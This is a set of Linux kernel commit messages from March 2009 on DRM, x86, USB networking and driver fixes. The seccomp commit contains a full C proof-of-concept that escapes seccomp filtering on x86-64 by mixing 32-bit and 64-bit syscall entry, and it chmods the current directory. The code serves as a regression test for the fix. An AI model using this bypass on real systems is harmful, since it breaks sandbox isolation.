2009-03-03Revert "menu: fix embedded menu snafu"Linus Torvalds
This reverts commit 155b25bcc28631a5b5230191aa3f56c40dfffa3f, which was totally wrong - the "embedded" options still exists (very much so) even on non-embedded platforms. It's just that we don't bother with actually asking about them when we're not embedded, we just take their default values (which is usually 'y' - the options add features that may not be worth it in a constrained environment).

2009-03-02drm: Avoid client deadlocks when the master disappears.Thomas Hellstrom
This is done by 1) Wake up lock waiters when we close the master file descriptor. Not when the master structure is removed, since the latter requires the waiters themselves to release the refcount on the master structure -> Deadlock. 2) Send a SIGTERM to all clients waiting for the lock. Normally these clients will get a SIGPIPE when the X server dies, but clients may also spin trying to grab the DRM lock, without getting any sort of notification.

2009-03-02x86-64: seccomp: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

2009-03-02x86: unify chunks of kernel/process*.cJeremy Fitzhardinge
With x86-32 and -64 using the same mechanism for managing the tss io permissions bitmap, large chunks of process*.c are trivially unifyable, including: - exit_thread - flush_thread - __switch_to_xtra (along with tsc enable/disable) and as bonus pickups: - sys_fork - sys_vfork (Note: asmlinkage expands to empty on x86-64) Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02x86-32: use non-lazy io bitmap context switchingJeremy Fitzhardinge
Impact: remove 32-bit optimization to prepare unification x86-32 and -64 differ in the way they context-switch tasks with io permission bitmaps. x86-64 simply copies the next tasks io bitmap into place (if any) on context switch. x86-32 invalidates the bitmap on context switch, so that the next IO instruction will fault; at that point it installs the appropriate IO bitmap. This makes context switching IO-bitmap-using tasks a bit more less expensive, at the cost of making the next IO instruction slower due to the extra fault. This tradeoff only makes sense if IO-bitmap-using processes are relatively common, but they don't actually use IO instructions very often. However, in a typical desktop system, the only process likely to be using IO bitmaps is the X server, and nothing at all on a server. Therefore the lazy context switch doesn't really win all that much, and its just a gratuitious difference from 64-bit code. This patch removes the lazy context switch, with a view to unifying this code in a later change.

2009-03-02x86, mm: dont use non-temporal stores in pagecache accessesIngo Molnar
Impact: standardize IO on cached ops On modern CPUs it is almost always a bad idea to use non-temporal stores, as the regression in this commit has shown it: 30d697f: x86: fix performance regression in write() syscall The kernel simply has no good information about whether using non-temporal stores is a good idea or not - and trying to add heuristics only increases complexity and inserts fragility. The regression on cached write()s took very long to be found - over two years. So dont take any chances and let the hardware decide how it makes use of its caches. The only exception is drivers/gpu/drm/i915/i915_gem.c: there were we are absolutely sure that another entity (the GPU) will pick up the dirty data immediately and that the CPU will not touch that data before the GPU will. Also, keep the _nocache() primitives to make it easier for people to experiment with these details. There may be more clear-cut cases where non-cached copies can be used, outside of filemap.c.

Some Toshiba laptops have another ALC268 codec on slot#3 that conflicts with the primary codec. The codec#3 is for the digital I/O, and should be fixed by the driver, but it'd need a bunch of changes. So, let's fix the probe problem temporarily by setting the default probe_mask value.

2009-03-02zaurus: add usb id for motomagx phonesDmitriy Taychenachev
The Motorola MOTOMAGX phones (Z6, E8, Zn5 so far) are providing combined ACM/BLAN USB configuration. Since it has Vendor Specific class, the corresponding drivers (cdc-acm, zaurus) can't find it just by interface info. This patch adds usb id so the zaurus driver can properly handle this combined device. Signed-off-by: Dmitriy Taychenachev <dimichxp@gmail.com> Signed-off-by: David S. Miller <davem@davemloft.net>
2009-03-02usbnet: make usbnet_get_link() fall back to ethtool_op_get_link()Bjørn Mork
Make usbnet_get_link() fall back to ethtool_op_get_link() instead of defaulting to 1. This makes usbnet_get_link return valid results without the need for a driver specific check_connect or mii ops as long as the driver calls netif_carrier_{on,off}() as appropriate. cdc_ether is an example of such a driver.

2009-03-02veth: Fix carrier detectEric W. Biederman
The current implementation of carrier detect in veth is broken. It reports the link is down until both sides of the veth pair are administatively up and then forever after it reports link up. So fix veth so that it only reports link up when both interfaces of the pair are administratively up. Signed-off-by: Eric Biederman <ebiederm@aristanetworks.com> Signed-off-by: David S.

2009-03-02cdc_ether: add usb id for Ericsson F3507gBjørn Mork
The Ericsson F3507g wireless broadband module provides a CDC Ethernet compliant interface, but identifies it as a "Mobile Direct Line" CDC subclass, thereby preventing the CDC Ethernet class driver from picking it up. This patch adds the device id to cdc_ether.c as a workaround. Ericsson has provided a "class" driver for this device: http://kerneltrap.org/mailarchive/linux-net/2008/10/28/3832094 But closer inspection of that driver reveals that it adds little more than duplication of code from cdc_ether.c.

2009-03-02r8169: read MAC address from EEPROM on init (2nd attempt)Ivan Vecera
This is 2nd attempt to implement the initialization/reading of MAC address from EEPROM. The first used PCI's VPD and there were some problems, some devices are not able to read EEPROM content by VPD. The 2nd one uses direct access to EEPROM through bit-banging interface and my testing results seem to be much better. I tested 5 systems each with different Realtek NICs and I didn't find any problem. AFAIK Francois's NICs also works fine. Original description: This fixes the problem when MAC address is set by ifconfig or by ip link commands and this address is stored in the device after reboot. The power-off is needed to get right MAC address. This is problem when Xen daemon is running because it renames the device name from ethX to pethX and sets its MAC address to FE:FF:FF:FF:FF:FF. After reboot the device is still using FE:FF:FF:FF:FF:FF. Signed-off-by: Ivan Vecera <ivecera@redhat.com> Signed-off-by: David S. Miller <davem@davemloft.net>
